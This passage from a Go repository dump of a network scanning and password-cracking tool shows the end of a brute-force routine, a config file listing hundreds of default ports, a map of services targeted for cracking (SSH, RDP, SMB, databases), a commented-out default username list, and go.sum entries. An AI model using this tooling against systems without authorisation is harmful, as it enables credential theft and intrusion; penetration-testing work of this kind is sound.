connect.Password 168 | if connect.CrackStatus { 169 | 170 | // 打印输出 171 | ipAndPort := color.C256(46).Sprintf("%s:%d\t", ipOption.Ip, ipOption.Port) 172 | userName := color.C256(226).Sprintf("%s\t", ipOption.CrackInfo.UserName) 173 | passWord := color.C256(51).Sprintf("%s\t", ipOption.CrackInfo.Password) 174 | deal := color.C256(219).Sprintf("%s\n", ipOption.CrackInfo.Deal) 175 | tmpprint := ipAndPort + userName + passWord + deal 176 | view.PrintlnSuccess(tmpprint) 177 | 178 | // 导出 179 | if config.OutPutType != "" { 180 | if strings.Contains(config.OutPutType, ".csv") { 181 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_Crack.csv" 182 | output.OutputFile(path, ipOption, config.MODE_CRACK) 183 | } else { 184 | output.OutputFile(config.OutPutType, ipOption, config.MODE_CRACK) 185 | } 186 | } 187 | } 188 | wg.Done() 189 | <-ThreadMaxChan 190 | }(connect, ipOption) 191 | } 192 | } 193 | } 194 | } 195 | close(ThreadMaxChan) 196 | wg.Wait() 197 | 198 | //// 新的代码 199 | //// password 中含有 superkey,后期进行暴力破解的时候,会对 superkey 进行解析适配 200 | //passwords := file.ReadFile2Strings4embed(Dic, passwordPath) 201 | // 202 | //wg := &sync.WaitGroup{} 203 | //var ThreadMaxChan = make(chan int, config.ThreadMax) 204 | // 205 | //for _, ipOption := range ipOptions.IpOption { 206 | // if ipOption.PortOpenStatus { 207 | // switch ipOption.Port { 208 | // case config.PostsCrackMap["ssh"]: 209 | // subCrack("ssh", ipOption, passwords, wg, ThreadMaxChan) 210 | // 211 | // } 212 | // } 213 | //} 214 | //close(ThreadMaxChan) 215 | //wg.Wait() 216 | } 217 | -------------------------------------------------------------------------------- /config/global.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import "time" 4 | 5 | // 扫描默认端口 6 | var Ports = "21, 22, 23, 25, 53, 69, 80, 81, 88, 89, 110, 135, 161, 445, 139, 137, 143, 389, 443, 512, 513, 514, 548, 873, 1433, 1521, 2181, 3306, 3389, 3690, 4848, 5000, 5001, 5432, 5632, 5900, 5901, 5902, 6379, 7000, 7001, 7002, 8000, 8001, 8007, 8008, 8009, 8069, 8080, 8081, 8088, 8089, 8090, 8091, 9060, 9090, 9091, 9200, 9300, 10000, 11211, 27017, 27018, 50000, 1080, 888, 1158, 2100, 2424, 2601, 2604, 3128, 5984, 7080, 8010, 8082, 8083, 8084, 8085, 8086, 8087, 8222, 8443, 8686, 8888, 9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010, 9043, 9080, 9081, 9418, 9999, 50030, 50060, 50070, 82, 83, 84, 85, 86, 87, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7070, 7071, 7072, 7073, 7074, 7075, 7076, 7077, 7078, 7079, 8002, 8003, 8004, 8005, 8006, 8200, 90, 801, 8011, 8100, 8012, 8070, 99, 7777, 8028, 808, 38888, 8181, 800, 18080, 8099, 8899, 8360, 8300, 8800, 8180, 3505, 8053, 1000, 8989, 28017, 49166, 3000, 41516, 880, 8484, 6677, 8016, 7200, 9085, 5555, 8280, 1980, 8161, 7890, 8060, 6080, 8880, 8020, 889, 8881, 38501, 1010, 93, 6666, 100, 6789, 7060, 8018, 8022, 3050, 8787, 2000, 10001, 8013, 6888, 8040, 10021, 2011, 6006, 4000, 8055, 4430, 1723, 6060, 7788, 8066, 9898, 6001, 8801, 10040, 9998, 803, 6688, 10080, 8050, 7011, 40310, 18090, 802, 10003, 8014, 2080, 7288, 8044, 9992, 8889, 5644, 8886, 9500, 58031, 9020, 8015, 8887, 8021, 8700, 91, 9900, 9191, 3312, 8186, 8735, 8380, 1234, 38080, 9088, 9988, 2110, 21245, 3333, 2046, 9061, 2375, 9011, 8061, 8093, 9876, 8030, 8282, 60465, 2222, 98, 1100, 18081, 70, 8383, 5155, 92, 8188, 2517, 8062, 11324, 2008, 9231, 999, 28214, 16080, 8092, 8987, 8038, 809, 2010, 8983, 7700, 3535, 7921, 9093, 11080, 6778, 805, 9083, 8073, 10002, 114, 2012, 701, 8810, 8400, 9099, 8098, 8808, 20000, 8065, 8822, 15000, 9901, 11158, 1107, 28099, 12345, 2006, 9527, 51106, 688, 25006, 8045, 8023, 8029, 9997, 7048, 8580, 8585, 2001, 8035, 10088, 20022, 4001, 2013, 20808, 8095, 106, 3580, 7742, 8119, 6868, 32766, 50075, 7272, 3380, 3220, 7801, 5256, 5255, 10086, 1300, 5200, 8096, 6198, 6889, 3503, 6088, 9991, 806, 5050, 8183, 8688, 1001, 58080, 1182, 9025, 8112, 7776, 7321, 235, 8077, 8500, 11347, 7081, 8877, 8480, 9182, 58000, 8026, 11001, 10089, 5888, 8196, 8078, 9995, 2014, 5656, 8019, 5003, 8481, 6002, 9889, 9015, 8866, 8182, 8057, 8399, 10010, 8308, 511, 12881, 4016, 8042, 1039, 28080, 5678, 7500, 8051, 18801, 15018, 15888, 38443, 8123, 8144, 94, 9070, 1800, 9112, 8990, 3456, 2051, 9098, 444, 9131, 97, 7100, 7711, 7180, 11000, 8037, 6988, 122, 8885, 14007, 8184, 7012, 8079, 9888, 9301, 59999, 49705, 1979, 8900, 5080, 5013, 1550, 8844, 4850, 206, 5156, 8813, 3030, 1790, 8802, 9012, 5544, 3721, 8980, 10009, 8043, 8390, 7943, 8381, 8056, 7111, 1500, 7088, 5881, 9437, 5655, 8102, 6000, 65486, 4443, 10025, 8024, 8333, 8666, 103, 8, 9666, 8999, 9111, 8071, 9092, 522, 11381, 20806, 8041, 1085, 8864, 7900, 1700, 8036, 8032, 8033, 8111, 60022, 955, 3080, 8788, 7443, 8192, 6969, 9909, 5002, 9990, 188, 8910, 9022, 10004, 866, 8582, 4300, 9101, 6879, 8891, 4567, 4440, 10051, 10068, 50080, 8341, 30001, 6890, 8168, 8955, 16788, 8190, 18060, 7041, 42424, 8848, 15693, 2521, 19010, 18103, 6010, 8898, 9910, 9190, 9082, 8260, 8445, 1680, 8890, 8649, 30082, 3013, 30000, 2480, 7202, 9704, 5233, 8991, 11366, 7888, 8780, 7129, 6600, 9443, 47088, 7791, 18888, 50045, 15672, 9089, 2585, 60, 9494, 31945, 2060, 8610, 8860, 58060, 6118, 2348, 8097, 38000, 18880, 13382, 6611, 8064, 7101, 5081, 7380, 7942, 10016, 8027, 2093, 403, 9014, 8133, 6886, 95, 8058, 9201, 6443, 5966, 27000, 7017, 6680, 8401, 9036, 8988, 8806, 6180, 421, 423, 57880, 7778, 18881, 812, 15004, 9110, 8213, 8868, 1213, 8193, 8956, 1108, 778, 65000, 7020, 1122, 9031, 17000, 8039, 8600, 50090, 1863, 8191, 65, 6587, 8136, 9507, 132, 200, 2070, 308, 5811, 3465, 8680, 7999, 7084, 18082, 3938, 18001, 9595, 442, 4433, 7171, 9084, 7567, 811, 1128, 6003, 2125, 6090, 10007, 7022, 1949, 6565, 65001, 1301, 19244, 10087, 8025, 5098, 21080, 1200, 15801, 1005, 22343, 7086, 8601, 6259, 7102, 10333, 211, 10082, 18085, 180, 40000, 7021, 7702, 66, 38086, 666, 6603, 1212, 65493, 96, 9053, 7031, 23454, 30088, 6226, 8660, 6170, 8972, 9981, 48080, 9086, 10118, 40069, 28780, 20153, 20021, 20151, 58898, 10066, 1818, 9914, 55351, 8343, 18000, 6546, 3880, 8902, 22222, 19045, 5561, 7979, 5203, 8879, 50240, 49960, 2007, 1722, 8913, 8912, 9504, 8103, 8567, 1666, 8720, 8197, 3012, 8220, 9039, 5898, 925, 38517, 8382, 6842, 8895, 2808, 447, 3600, 3606, 9095, 45177, 19101, 171, 133, 8189, 7108, 10154, 47078, 6800, 8122, 381, 1443, 15580, 23352, 3443, 1180, 268, 2382, 43651, 10099, 65533, 7018, 60010, 60101, 6699, 2005, 18002, 2009, 59777, 591, 1933, 9013, 8477, 9696, 9030, 2015, 7925, 6510, 18803, 280, 5601, 2901, 2301, 5201, 302, 610, 8031, 5552, 8809, 6869, 9212, 17095, 20001, 8781, 25024, 5280, 7909, 17003, 1088, 7117, 20052, 1900, 10038, 30551, 9980, 9180, 59009, 28280, 7028, 61999, 7915, 8384, 9918, 9919, 55858, 7215, 77, 9845, 20140, 8288, 7856, 1982, 1123, 17777, 8839, 208, 2886, 877, 6101, 5100, 804, 983, 5600, 8402, 5887, 8322, 770, 13333, 7330, 3216, 31188, 47583, 8710, 22580, 1042, 2020, 34440, 20, 7703, 65055, 8997, 6543, 6388, 8283, 7201, 4040, 61081, 12001, 3588, 7123, 2490, 4389, 1313, 19080, 9050, 6920, 299, 20046, 8892, 9302, 7899, 30058, 7094, 6801, 321, 1356, 12333, 11362, 11372, 6602, 7709, 45149, 3668, 517, 9912, 9096, 8130, 7050, 7713, 40080, 8104, 13988, 18264, 8799, 55070, 23458, 8176, 9517, 9541, 9542, 9512, 8905, 11660, 1025, 44445, 44401, 17173, 436, 560, 733, 968, 602, 3133, 3398, 16580, 8488, 8901, 8512, 10443, 9113, 9119, 6606, 22080, 5560, 7, 5757, 1600, 8250, 10024, 10200, 333, 73, 7547, 8054, 6372, 223, 3737, 9800, 9019, 8067, 45692, 15400, 15698, 9038, 37006, 2086, 1002, 9188, 8094, 8201, 8202, 30030, 2663, 9105, 10017, 4503, 1104, 8893, 40001, 27779, 3010, 7083, 5010, 5501, 309, 1389, 10070, 10069, 10056, 3094, 10057, 10078, 10050, 10060, 10098, 4180, 10777, 270, 6365, 9801, 1046, 7140, 1004, 9198, 8465, 8548, 108, 30015, 8153, 1020, 50100, 8391, 34899, 7090, 6100, 8777, 8298, 8281, 7023, 3377, 9100, 1434, 3399, 25672, 61613, 61614, 62238, 63389, 62289" 7 | 8 | // var Ports = []int{21, 22, 23, 25, 53, 69, 80, 81, 88, 89, 110, 135, 161, 445, 139, 137, 143, 389, 443, 512, 513, 514, 548, 873, 1433, 1521, 2181, 3306, 3389, 3690, 4848, 5000, 5001, 5432, 5632, 5900, 5901, 5902, 6379, 7000, 7001, 7002, 8000, 8001, 8007, 8008, 8009, 8069, 8080, 8081, 8088, 8089, 8090, 8091, 9060, 9090, 9091, 9200, 9300, 10000, 11211, 27017, 27018, 50000, 1080, 888, 1158, 2100, 2424, 2601, 2604, 3128, 5984, 7080, 8010, 8082, 8083, 8084, 8085, 8086, 8087, 8222, 8443, 8686, 8888, 9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010, 9043, 9080, 9081, 9418, 9999, 50030, 50060, 50070, 82, 83, 84, 85, 86, 87, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7070, 7071, 7072, 7073, 7074, 7075, 7076, 7077, 7078, 7079, 8002, 8003, 8004, 8005, 8006, 8200, 90, 801, 8011, 8100, 8012, 8070, 99, 7777, 8028, 808, 38888, 8181, 800, 18080, 8099, 8899, 8360, 8300, 8800, 8180, 3505, 8053, 1000, 8989, 28017, 49166, 3000, 41516, 880, 8484, 6677, 8016, 7200, 9085, 5555, 8280, 1980, 8161, 7890, 8060, 6080, 8880, 8020, 889, 8881, 38501, 1010, 93, 6666, 100, 6789, 7060, 8018, 8022, 3050, 8787, 2000, 10001, 8013, 6888, 8040, 10021, 2011, 6006, 4000, 8055, 4430, 1723, 6060, 7788, 8066, 9898, 6001, 8801, 10040, 9998, 803, 6688, 10080, 8050, 7011, 40310, 18090, 802, 10003, 8014, 2080, 7288, 8044, 9992, 8889, 5644, 8886, 9500, 58031, 9020, 8015, 8887, 8021, 8700, 91, 9900, 9191, 3312, 8186, 8735, 8380, 1234, 38080, 9088, 9988, 2110, 21245, 3333, 2046, 9061, 2375, 9011, 8061, 8093, 9876, 8030, 8282, 60465, 2222, 98, 1100, 18081, 70, 8383, 5155, 92, 8188, 2517, 8062, 11324, 2008, 9231, 999, 28214, 16080, 8092, 8987, 8038, 809, 2010, 8983, 7700, 3535, 7921, 9093, 11080, 6778, 805, 9083, 8073, 10002, 114, 2012, 701, 8810, 8400, 9099, 8098, 8808, 20000, 8065, 8822, 15000, 9901, 11158, 1107, 28099, 12345, 2006, 9527, 51106, 688, 25006, 8045, 8023, 8029, 9997, 7048, 8580, 8585, 2001, 8035, 10088, 20022, 4001, 2013, 20808, 8095, 106, 3580, 7742, 8119, 6868, 32766, 50075, 7272, 3380, 3220, 7801, 5256, 5255, 10086, 1300, 5200, 8096, 6198, 6889, 3503, 6088, 9991, 806, 5050, 8183, 8688, 1001, 58080, 1182, 9025, 8112, 7776, 7321, 235, 8077, 8500, 11347, 7081, 8877, 8480, 9182, 58000, 8026, 11001, 10089, 5888, 8196, 8078, 9995, 2014, 5656, 8019, 5003, 8481, 6002, 9889, 9015, 8866, 8182, 8057, 8399, 10010, 8308, 511, 12881, 4016, 8042, 1039, 28080, 5678, 7500, 8051, 18801, 15018, 15888, 38443, 8123, 8144, 94, 9070, 1800, 9112, 8990, 3456, 2051, 9098, 444, 9131, 97, 7100, 7711, 7180, 11000, 8037, 6988, 122, 8885, 14007, 8184, 7012, 8079, 9888, 9301, 59999, 49705, 1979, 8900, 5080, 5013, 1550, 8844, 4850, 206, 5156, 8813, 3030, 1790, 8802, 9012, 5544, 3721, 8980, 10009, 8043, 8390, 7943, 8381, 8056, 7111, 1500, 7088, 5881, 9437, 5655, 8102, 6000, 65486, 4443, 10025, 8024, 8333, 8666, 103, 8, 9666, 8999, 9111, 8071, 9092, 522, 11381, 20806, 8041, 1085, 8864, 7900, 1700, 8036, 8032, 8033, 8111, 60022, 955, 3080, 8788, 7443, 8192, 6969, 9909, 5002, 9990, 188, 8910, 9022, 10004, 866, 8582, 4300, 9101, 6879, 8891, 4567, 4440, 10051, 10068, 50080, 8341, 30001, 6890, 8168, 8955, 16788, 8190, 18060, 7041, 42424, 8848, 15693, 2521, 19010, 18103, 6010, 8898, 9910, 9190, 9082, 8260, 8445, 1680, 8890, 8649, 30082, 3013, 30000, 2480, 7202, 9704, 5233, 8991, 11366, 7888, 8780, 7129, 6600, 9443, 47088, 7791, 18888, 50045, 15672, 9089, 2585, 60, 9494, 31945, 2060, 8610, 8860, 58060, 6118, 2348, 8097, 38000, 18880, 13382, 6611, 8064, 7101, 5081, 7380, 7942, 10016, 8027, 2093, 403, 9014, 8133, 6886, 95, 8058, 9201, 6443, 5966, 27000, 7017, 6680, 8401, 9036, 8988, 8806, 6180, 421, 423, 57880, 7778, 18881, 812, 15004, 9110, 8213, 8868, 1213, 8193, 8956, 1108, 778, 65000, 7020, 1122, 9031, 17000, 8039, 8600, 50090, 1863, 8191, 65, 6587, 8136, 9507, 132, 200, 2070, 308, 5811, 3465, 8680, 7999, 7084, 18082, 3938, 18001, 9595, 442, 4433, 7171, 9084, 7567, 811, 1128, 6003, 2125, 6090, 10007, 7022, 1949, 6565, 65001, 1301, 19244, 10087, 8025, 5098, 21080, 1200, 15801, 1005, 22343, 7086, 8601, 6259, 7102, 10333, 211, 10082, 18085, 180, 40000, 7021, 7702, 66, 38086, 666, 6603, 1212, 65493, 96, 9053, 7031, 23454, 30088, 6226, 8660, 6170, 8972, 9981, 48080, 9086, 10118, 40069, 28780, 20153, 20021, 20151, 58898, 10066, 1818, 9914, 55351, 8343, 18000, 6546, 3880, 8902, 22222, 19045, 5561, 7979, 5203, 8879, 50240, 49960, 2007, 1722, 8913, 8912, 9504, 8103, 8567, 1666, 8720, 8197, 3012, 8220, 9039, 5898, 925, 38517, 8382, 6842, 8895, 2808, 447, 3600, 3606, 9095, 45177, 19101, 171, 133, 8189, 7108, 10154, 47078, 6800, 8122, 381, 1443, 15580, 23352, 3443, 1180, 268, 2382, 43651, 10099, 65533, 7018, 60010, 60101, 6699, 2005, 18002, 2009, 59777, 591, 1933, 9013, 8477, 9696, 9030, 2015, 7925, 6510, 18803, 280, 5601, 2901, 2301, 5201, 302, 610, 8031, 5552, 8809, 6869, 9212, 17095, 20001, 8781, 25024, 5280, 7909, 17003, 1088, 7117, 20052, 1900, 10038, 30551, 9980, 9180, 59009, 28280, 7028, 61999, 7915, 8384, 9918, 9919, 55858, 7215, 77, 9845, 20140, 8288, 7856, 1982, 1123, 17777, 8839, 208, 2886, 877, 6101, 5100, 804, 983, 5600, 8402, 5887, 8322, 770, 13333, 7330, 3216, 31188, 47583, 8710, 22580, 1042, 2020, 34440, 20, 7703, 65055, 8997, 6543, 6388, 8283, 7201, 4040, 61081, 12001, 3588, 7123, 2490, 4389, 1313, 19080, 9050, 6920, 299, 20046, 8892, 9302, 7899, 30058, 7094, 6801, 321, 1356, 12333, 11362, 11372, 6602, 7709, 45149, 3668, 517, 9912, 9096, 8130, 7050, 7713, 40080, 8104, 13988, 18264, 8799, 55070, 23458, 8176, 9517, 9541, 9542, 9512, 8905, 11660, 1025, 44445, 44401, 17173, 436, 560, 733, 968, 602, 3133, 3398, 16580, 8488, 8901, 8512, 10443, 9113, 9119, 6606, 22080, 5560, 7, 5757, 1600, 8250, 10024, 10200, 333, 73, 7547, 8054, 6372, 223, 3737, 9800, 9019, 8067, 45692, 15400, 15698, 9038, 37006, 2086, 1002, 9188, 8094, 8201, 8202, 30030, 2663, 9105, 10017, 4503, 1104, 8893, 40001, 27779, 3010, 7083, 5010, 5501, 309, 1389, 10070, 10069, 10056, 3094, 10057, 10078, 10050, 10060, 10098, 4180, 10777, 270, 6365, 9801, 1046, 7140, 1004, 9198, 8465, 8548, 108, 30015, 8153, 1020, 50100, 8391, 34899, 7090, 6100, 8777, 8298, 8281, 7023, 3377, 9100, 1434, 3399, 25672, 61613, 61614, 62238, 63389, 62289} 9 | 10 | // 扫描特殊端口 11 | // var Ports_other = []int{21, 22, 445, 1100, 1433, 1434, 1521, 3306, 3389, 3399, 6379, 8009, 9200, 11211, 27017, 50070} 12 | var PostsCrackMap = map[string]int{ 13 | "ssh": 22, 14 | "mssql": 1433, 15 | "mysql": 3306, 16 | "ftp": 21, 17 | "smb": 445, 18 | "memcached": 11211, 19 | "mongodb": 27017, 20 | "oracle": 1521, 21 | "postgres": 5432, 22 | "redis": 6379, 23 | "rdp": 3389, 24 | } 25 | 26 | // 用户名字典 27 | //var Userdict = map[string][]string{ 28 | // "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, 29 | // "mysql": {"root", "mysql"}, 30 | // "mssql": {"sa", "sql"}, 31 | // "smb": {"administrator", "admin", "guest"}, 32 | // "rdp": {"administrator", "admin", "guest"}, 33 | // "postgresql": {"postgres", "admin"}, 34 | // "ssh": {"root", "admin", "kali", "parrot", "test"}, 35 | // "mongodb": {"root", "admin"}, 36 | // "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, 37 | //} 38 | 39 | // UA 40 | //var User_Agent = []string{"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36"} 41 | 42 | var ( 43 | // 代理 44 | Proxy = "" 45 | 46 | // 超时时间 47 | TimeOutSet = 7 48 | TimeOut = time.Second * time.Duration(TimeOutSet) 49 | 50 | // Debug 模式开关 51 | Debug = false 52 | 53 | // 最大线程数 54 | ThreadMax = 100 55 | 56 | // 展示所有细节 57 | ViewAll = false 58 | 59 | // 带默认端口扫描 60 | DefaultPorts string 61 | 62 | // 不带默认端口扫描 63 | ForbidPorts string 64 | 65 | // IP 文件路径 66 | IpFilePath string 67 | 68 | // IP 或 IP 段 69 | IpInfo string 70 | 71 | // 过滤保留需要的状态码 72 | Filter string 73 | Filters []int 74 | 75 | // 输出文件的类型 76 | OutPutType string 77 | 78 | // 禁用暴力破解功能 79 | NotCrack = false 80 | ) 81 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/EDDYCJY/fake-useragent v0.2.0 h1:Jcnkk2bgXmDpX0z+ELlUErTkoLb/mxFBNd2YdcpvJBs= 2 | github.com/EDDYCJY/fake-useragent v0.2.0/go.mod h1:5wn3zzlDxhKW6NYknushqinPcAqZcAPHy8lLczCdJdc= 3 | github.com/PuerkitoBio/goquery v1.8.0 h1:PJTF7AmFCFKk1N6V6jmKfrNH9tV5pNE6lZMkG0gta/U= 4 | github.com/PuerkitoBio/goquery v1.8.0/go.mod h1:ypIiRMtY7COPGk+I/YbZLbxsxn9g5ejnI2HSMtkjZvI= 5 | github.com/PuerkitoBio/goquery v1.8.1 h1:uQxhNlArOIdbrH1tr0UXwdVFgDcZDrZVdcpygAcwmWM= 6 | github.com/PuerkitoBio/goquery v1.8.1/go.mod h1:Q8ICL1kNUJ2sXGoAhPGUdYDJvgQgHzJsnnd3H7Ho5jQ= 7 | github.com/PuerkitoBio/goquery v1.9.1 h1:mTL6XjbJTZdpfL+Gwl5U2h1l9yEkJjhmlTeV9VPW7UI= 8 | github.com/PuerkitoBio/goquery v1.9.1/go.mod h1:cW1n6TmIMDoORQU5IU/P1T3tGFunOeXEpGP2WHRwkbY= 9 | github.com/andybalholm/cascadia v1.3.1 h1:nhxRkql1kdYCc8Snf7D5/D3spOX+dBgjA6u8x004T2c= 10 | github.com/andybalholm/cascadia v1.3.1/go.mod h1:R4bJ1UQfqADjvDa4P6HZHLh/3OxWWEqc0Sk8XGwHqvA= 11 | github.com/andybalholm/cascadia v1.3.2 h1:3Xi6Dw5lHF15JtdcmAHD3i1+T8plmv7BQ/nsViSLyss= 12 | github.com/andybalholm/cascadia v1.3.2/go.mod h1:7gtRlve5FxPPgIgX36uWBX58OdBsSS6lUvCFb+h7KvU= 13 | github.com/antchfx/htmlquery v1.2.5 h1:1lXnx46/1wtv1E/kzmH8vrfMuUKYgkdDBA9pIdMJnk4= 14 | github.com/antchfx/htmlquery v1.2.5/go.mod h1:2MCVBzYVafPBmKbrmwB9F5xdd+IEgRY61ci2oOsOQVw= 15 | github.com/antchfx/htmlquery v1.3.0 h1:5I5yNFOVI+egyia5F2s/5Do2nFWxJz41Tr3DyfKD25E= 16 | github.com/antchfx/htmlquery v1.3.0/go.mod h1:zKPDVTMhfOmcwxheXUsx4rKJy8KEY/PU6eXr/2SebQ8= 17 | github.com/antchfx/htmlquery v1.3.1 h1:wm0LxjLMsZhRHfQKKZscDf2COyH4vDYA3wyH+qZ+Ylc= 18 | github.com/antchfx/htmlquery v1.3.1/go.mod h1:PTj+f1V2zksPlwNt7uVvZPsxpKNa7mlVliCRxLX6Nx8= 19 | github.com/antchfx/xpath v1.2.1 h1:qhp4EW6aCOVr5XIkT+l6LJ9ck/JsUH/yyauNgTQkBF8= 20 | github.com/antchfx/xpath v1.2.1/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= 21 | github.com/antchfx/xpath v1.2.3 h1:CCZWOzv5bAqjVv0offZ2LVgVYFbeldKQVuLNbViZdes= 22 | github.com/antchfx/xpath v1.2.3/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= 23 | github.com/antchfx/xpath v1.2.4 h1:dW1HB/JxKvGtJ9WyVGJ0sIoEcqftV3SqIstujI+B9XY= 24 | github.com/antchfx/xpath v1.2.4/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= 25 | github.com/antchfx/xpath v1.3.0 h1:nTMlzGAK3IJ0bPpME2urTuFL76o4A96iYvoKFHRXJgc= 26 | github.com/antchfx/xpath v1.3.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= 27 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= 28 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= 29 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= 30 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= 31 | github.com/bradfitz/gomemcache v0.0.0-20221031212613-62deef7fc822 h1:hjXJeBcAMS1WGENGqDpzvmgS43oECTx8UXq31UBu0Jw= 32 | github.com/bradfitz/gomemcache v0.0.0-20221031212613-62deef7fc822/go.mod h1:H0wQNHz2YrLsuXOZozoeDmnHXkNCRmMW0gwFWDfEZDA= 33 | github.com/bradfitz/gomemcache v0.0.0-20230611145640-acc696258285 h1:Dr+ezPI5ivhMn/3WOoB86XzMhie146DNaBbhaQWZHMY= 34 | github.com/bradfitz/gomemcache v0.0.0-20230611145640-acc696258285/go.mod h1:H0wQNHz2YrLsuXOZozoeDmnHXkNCRmMW0gwFWDfEZDA= 35 | github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 h1:N7oVaKyGp8bttX0bfZGmcGkjz7DLQXhAn3DNd3T0ous= 36 | github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874/go.mod h1:r5xuitiExdLAJ09PR7vBVENGvp4ZuTBeWTGtxuX3K+c= 37 | github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ= 38 | github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4= 39 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 40 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 41 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 42 | github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo= 43 | github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= 44 | github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0= 45 | github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= 46 | github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI= 47 | github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= 48 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 49 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= 50 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 51 | github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= 52 | github.com/go-redis/redis v6.15.9+incompatible h1:K0pv1D7EQUjfyoMql+r/jZqCLizCGKFlFgcHWWmHQjg= 53 | github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA= 54 | github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= 55 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY= 56 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 57 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= 58 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 59 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 60 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 61 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 62 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 63 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 64 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 65 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 66 | github.com/golang/protobuf v1.5.0 h1:LUVKkCeviFUMKqHa4tXIIij/lbhnMbP7Fn5wKdKkRh4= 67 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 68 | 